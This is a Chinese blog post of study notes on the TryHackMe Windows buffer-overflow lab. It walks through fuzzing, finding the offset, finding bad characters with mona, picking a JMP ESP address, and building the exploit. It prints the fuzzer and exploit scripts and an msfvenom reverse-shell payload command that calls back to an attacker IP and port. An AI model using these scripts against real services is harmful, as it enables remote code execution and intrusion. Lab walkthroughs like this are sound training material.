• 【Try Hack Me】Buffer Overflow-3


    THM 学习笔记

    【Try Hack Me】Buffer Overflow-3


    🔥系列专栏:Try Hack Me
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年9月7日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!

    全步骤

    windows缓冲区溢出

    ID分析

    1. 需要用到三个脚本
    Fuzzer.py(造成溢出)
    
    #!/usr/bin/env python3
    import socket, time, sys
    ip = "MACHINE_IP"
    port = 1337
    timeout = 5
    prefix = "OVERFLOW1 "
    string = prefix + "A" * 100
    while True:
      try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
          s.settimeout(timeout)
          s.connect((ip, port))
          s.recv(1024)
          print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
          s.send(bytes(string, "latin-1"))
          s.recv(1024)
      except:
        print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
        sys.exit(0)
      string += 100 * "A"
      time.sleep(1)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    exp.py(实际产生攻击效果)
    
    import socket
    ip = "192.168.43.57"
    port = 1337
    prefix = "OVERFLOW1 "
    offset = 0(溢出点)
    overflow = "A" * offset
    retn = ""(先是四个b,再是jmp)
    padding = ""  (最后一步填充 "\x90" * 16)
    payload = ""
    postfix = ""
    buffer = prefix + overflow + retn + padding + payload + postfix
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
      s.connect((ip, port))
      print("Sending evil buffer...")
      s.send(bytes(buffer + "\r\n", "latin-1"))
      print("Done!")
    except:
      print("Could not connect.")
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    badchar.py(坏字符相关)
    
    for x in range(1, 256):
      print("\\x" + "{:02x}".format(x), end='')
    print()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    1. 造成溢出(使用fuzzer.py)(并检验eip有没有被全覆盖)
    2. 找溢出点
    msf-pattern_create -l 2400(生成多400位的检验字符)(并且放到exp.py)
    msf-pattern_offset -l 2400 -q 【eip】(把返回的eip拿来检验)
    
    • 1
    • 2
    1. 找坏字符(用badchar.py生成,mona配合)
    !mona bytearray -b "\x00"
    就这样每找出来一个坏字符,就重新生成一个不包括他的对比字典
    !mona bytearray -b "\x00\x07"
    下面这条命令用来对比(最后面的是esp的值,根据自己的更改)
    !mona compare -f C:\mona\oscp\bytearray.bin -a 00DCFA28
    
    • 1
    • 2
    • 3
    • 4
    • 5
    1. 找jmp
    !mona jmp -r esp -cpb "\x00\x07\x2e\xa0" 
    后面的是刚才的坏字符
    找出来的随便选一个就行,倒过来写到exp.py的retn
    而后写入nop空字符 "\x90" * 16
    
    • 1
    • 2
    • 3
    • 4
    1. 生成payload
    msfvenom -p windows/shell_reverse_tcp LHOST= 192.168.247.130 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c
    
    填入执行即可
    
    • 1
    • 2
    • 3

    第一步,造成溢出

    在这里插入图片描述

    第二步、判断溢出点

    在这里插入图片描述

    第三步、找坏字符

    在这里插入图片描述
    这里有个经验之谈,就是如果不是连着的,那么坏字符就可能是开头的
    不太好表述
    举个例子
    这是第一次尝试坏字符
    我就猜测坏字符是
    11 40 5f b8
    然后再去实验,看会不会还有别的
    在这里插入图片描述
    在这里插入图片描述

    第四步、找jmp

    在这里插入图片描述jmp如下
    62501203

    03125062

    retn = “\x03\x12\x50\x62”
    padding = “\x90” * 16

    第五步,获取shell

    在这里插入图片描述

  • 相关阅读:
    Spring Boot 3.0.x和Oracle Database 23c Database API for MongoDB的示例
    unordered_map的键值不能直接用pair;而map 可以使用 pair 作为键值,而不需要额外定义哈希函数
    Oracle导入出现问题
    不必写一行代码,利用ivx低代码产品开发web平台
    拖延问题:它会影响你吗?(加上如何克服它)
    【数据结构】二叉树链式结构补充和二叉树的顺序结构及实现
    Java基础面试题50题
    MySql第三篇---索引的创建与设计原则
    荧光染料BDP FL ceramide,BDP-FL神经酰胺
    (十六)Spring对事务的支持
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/127730320